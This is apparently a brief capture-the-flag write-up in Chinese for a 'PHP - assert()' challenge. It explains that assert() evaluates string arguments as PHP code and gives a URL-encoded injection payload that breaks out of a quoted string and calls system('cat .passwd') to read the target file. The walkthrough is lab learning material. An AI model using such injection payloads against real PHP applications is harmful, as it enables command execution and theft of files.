PHP - assert()

Find and exploit the vulnerability to read the file .passwd.-------------查找并利用此漏洞读取文件.passwd。

assert：

　　这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

　　　　　　　　assert ( mixed $assertion [, string $description ] ) : bool

　　如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。

开始挑战后，随便加点，让代码报错

根据报错提示，拼接payload:

Payload：

%27,%27...%27)%20===false%20and%20%20system(%27cat%20.passwd%27)%20and%20strops(%27

PHP - assert()

原文：https://www.cnblogs.com/abbin-blog/p/12079173.html